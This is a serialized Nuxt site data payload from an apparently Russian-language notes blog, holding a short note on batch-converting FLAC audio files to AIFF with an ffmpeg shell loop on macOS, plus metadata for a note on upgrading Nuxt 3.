var(--shiki-dark-text-decoration);}",{"title":45,"searchDepth":66,"depth":66,"links":1214},[],"2022-08-15","Простая команда для обновления Nuxt 3 до последней версии",{},"\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3",{"title":1177,"description":1216},"notes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3",[1222,44,1223],"nuxt","cli","_HR0DYn8dvm9dDN6C0NI3IBdhwQBiKDVaxiB0n_y3VA",{"id":1226,"title":1227,"author":6,"body":1228,"date":1340,"description":1341,"extension":336,"image":337,"meta":1342,"navigation":86,"path":1343,"seo":1344,"stem":1345,"tags":1346,"__hash__":1350},"content_ru\u002Fnotes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg.md","Пакетная конвертация FLAC в AIFF через ffmpeg",{"type":8,"value":1229,"toc":1338},[1230,1233,1236,1252,1262,1335],[11,1231,1227],{"id":1232},"пакетная-конвертация-flac-в-aiff-через-ffmpeg",[16,1234,1235],{},"Нужен установленный ffmpeg. Для macOS:",[40,1237,1239],{"className":1185,"code":1238,"language":1187,"meta":45,"style":45},"brew install ffmpeg\n",[20,1240,1241],{"__ignoreMap":45},[49,1242,1243,1246,1249],{"class":51,"line":52},[49,1244,1245],{"class":105},"brew",[49,1247,1248],{"class":79}," install",[49,1250,1251],{"class":79}," ffmpeg\n",[16,1253,1254,1255,1258,1259,499],{},"Эта команда сконвертирует все ",[20,1256,1257],{},"*.flac"," файлы в ",[20,1260,1261],{},"*.aiff",[40,1263,1265],{"className":1185,"code":1264,"language":1187,"meta":45,"style":45},"for i in *.flac; do ffmpeg -i \"$i\" -write_id3v2 1 -c:v copy \"${i%.*}.aiff\"; done\n",[20,1266,1267],{"__ignoreMap":45},[49,1268,1269,1272,1275,1278,1281,1284,1287,1290,1293,1296,1299,1302,1305,1308,1311,1314,1317,1320,1323,1325,1327,1330,1332],{"class":51,"line":52},[49,1270,1271],{"class":69},"for",[49,1273,1274],{"class":55}," i ",[49,1276,1277],{"class":69},"in",[49,1279,1280],{"class":79}," *.flac",[49,1282,1283],{"class":55},"; ",[49,1285,1286],{"class":69},"do",[49,1288,1289],{"class":105}," ffmpeg",[49,1291,1292],{"class":118}," -i",[49,1294,1295],{"class":79}," \"",[49,1297,1298],{"class":55},"$i",[49,1300,1301],{"class":79},"\"",[49,1303,1304],{"class":118}," -write_id3v2",[49,1306,1307],{"class":118}," 1",[49,1309,1310],{"class":118}," -c:v",[49,1312,1313],{"class":79}," copy",[49,1315,1316],{"class":79}," \"${",[49,1318,1319],{"class":55},"i",[49,1321,1322],{"class":69},"%",[49,1324,27],{"class":79},[49,1326,193],{"class":69},[49,1328,1329],{"class":79},"}.aiff\"",[49,1331,1283],{"class":55},[49,1333,1334],{"class":69},"done\n",[329,1336,1337],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":45,"searchDepth":66,"depth":66,"links":1339},[],"2022-08-10","Однострочник для конвертации всех FLAC файлов в AIFF через ffmpeg на macOS",{},"\u002Fnotes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg",{"title":1227,"description":1341},"notes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg",[1347,1348,1223,1349],"ffmpeg","audio","macos","eSrfOKrhJhEudfeuEd5ti516NYPB5St5RfesDpohskc",[1352,1578],{"id":4,"title":5,"author":6,"body":1353,"date":334,"description":335,"extension":336,"image":337,"meta":1575,"navigation":86,"path":339,"seo":1576,"stem":341,"tags":1577,"__hash__":345},{"type":8,"value":1354,"toc":1573},[1355,1357,1363,1369,1571],[11,1356,14],{"id":13},[16,1358,18,1359,23,1361,27],{},[20,1360,22],{},[20,1362,26],{},[16,1364,30,1365,34,1367,38],{},[20,1366,33],{},[20,1368,37],{},[40,1370,1371],{"className":42,"code":43,"language":44,"meta":45,"style":45},[20,1372,1373,1381,1391,1395,1403,1409,1421,1429,1435,1439,1443,1459,1469,1473,1477,1483,1491,1495,1499,1503,1507,1515,1519,1527,1539,1551,1563],{"__ignoreMap":45},[49,1374,1375,1377,1379],{"class":51,"line":52},[49,1376,56],{"class":55},[49,1378,60],{"class":59},[49,1380,63],{"class":55},[49,1382,1383,1385,1387,1389],{"class":51,"line":66},[49,1384,70],{"class":69},[49,1386,73],{"class":55},[49,1388,76],{"class":69},[49,1390,80],{"class":79},[49,1392,1393],{"class":51,"line":83},[49,1394,87],{"emptyLinePlaceholder":86},[49,1396,1397,1399,1401],{"class":51,"line":90},[49,1398,93],{"class":69},[49,1400,96],{"class":69},[49,1402,99],{"class":55},[49,1404,1405,1407],{"class":51,"line":102},[49,1406,106],{"class":105},[49,1408,109],{"class":55},[49,1410,1411,1413,1415,1417,1419],{"class":51,"line":112},[49,1412,115],{"class":69},[49,1414,119],{"class":118},[49,1416,122],{"class":69},[49,1418,125],{"class":105},[49,1420,128],{"class":55},[49,1422,1423,1425,1427],{"class":51,"line":131},[49,1424,134],{"class":55},[49,1426,137],{"class":118},[49,1428,140],{"class":55},[49,1430,1431,1433],{"class":51,"line":143},[49,1432,146],{"class":55},[49,1434,149],{"class":118},[49,1436,1437],{"class":51,"line":152},[49,1438,155],{"class":55},[49,1440,1441],{"class":51,"line":158},[49,1442,87],{"emptyLinePlaceholder":86},[49,1444,1445,1447,1449,1451,1453,1455,1457],{"class":51,"line":163},[49,1446,115],{"class":69},[49,1448,168],{"class":118},[49,1450,122],{"class":69},[49,1452,173],{"class":105},[49,1454,176],{"class":55},[49,1456,179],{"class":69},[49,1458,99],{"class":55},[49,1460,1461,1463,1465,1467],{"class":51,"line":184},[49,1462,187],{"class":69},[49,1464,190],{"class":55},[49,1466,193],{"class":69},[49,1468,196],{"class":55},[49,1470,1471],{"class":51,"line":199},[49,1472,155],{"class":55},[49,1474,1475],{"class":51,"line":204},[49,1476,87],{"emptyLinePlaceholder":86},[49,1478,1479,1481],{"class":51,"line":209},[49,1480,212],{"class":69},[49,1482,99],{"class":55},[49,1484,1485,1487,1489],{"class":51,"line":217},[49,1486,220],{"class":69},[49,1488,223],{"class":105},[49,1490,226],{"class":55},[49,1492,1493],{"class":51,"line":229},[49,1494,232],{"class":55},[49,1496,1497],{"class":51,"line":235},[49,1498,238],{"class":55},[49,1500,1501],{"class":51,"line":241},[49,1502,244],{"class":55},[49,1504,1505],{"class":51,"line":247},[49,1506,250],{"class":55},[49,1508,1509,1511,1513],{"class":51,"line":253},[49,1510,256],{"class":55},[49,1512,60],{"class":59},[49,1514,63],{"class":55},[49,1516,1517],{"class":51,"line":263},[49,1518,87],{"emptyLinePlaceholder":86},[49,1520,1521,1523,1525],{"class":51,"line":268},[49,1522,56],{"class":55},[49,1524,273],{"class":59},[49,1526,63],{"class":55},[49,1528,1529,1531,1533,1535,1537],{"class":51,"line":278},[49,1530,281],{"class":55},[49,1532,16],{"class":59},[49,1534,286],{"class":55},[49,1536,16],{"class":59},[49,1538,63],{"class":55},[49,1540,1541,1543,1545,1547,1549],{"class":51,"line":293},[49,1542,281],{"class":55},[49,1544,16],{"class":59},[49,1546,300],{"class":55},[49,1548,16],{"class":59},[49,1550,63],{"class":55},[49,1552,1553,1555,1557,1559,1561],{"class":51,"line":307},[49,1554,281],{"class":55},[49,1556,16],{"class":59},[49,1558,314],{"class":55},[49,1560,16],{"class":59},[49,1562,63],{"class":55},[49,1564,1565,1567,1569],{"class":51,"line":321},[49,1566,256],{"class":55},[49,1568,273],{"class":59},[49,1570,63],{"class":55},[329,1572,331],{},{"title":45,"searchDepth":66,"depth":66,"links":1574},[],{},{"title":5,"description":335},[44,343,344],{"id":1176,"title":1177,"author":6,"body":1579,"date":1215,"description":1216,"extension":336,"image":337,"meta":1606,"navigation":86,"path":1218,"seo":1607,"stem":1220,"tags":1608,"__hash__":1224},{"type":8,"value":1580,"toc":1604},[1581,1583,1595,1597,1602],[11,1582,1177],{"id":1182},[40,1584,1585],{"className":1185,"code":1186,"language":1187,"meta":45,"style":45},[20,1586,1587],{"__ignoreMap":45},[49,1588,1589,1591,1593],{"class":51,"line":52},[49,1590,1194],{"class":105},[49,1592,1197],{"class":79},[49,1594,1200],{"class":79},[16,1596,1203],{},[40,1598,1600],{"className":1599,"code":1207,"language":437},[435],[20,1601,1207],{"__ignoreMap":45},[329,1603,1212],{},{"title":45,"searchDepth":66,"depth":66,"links":1605},[],{},{"title":1177,"description":1216},[1222,44,1223],1776084468370]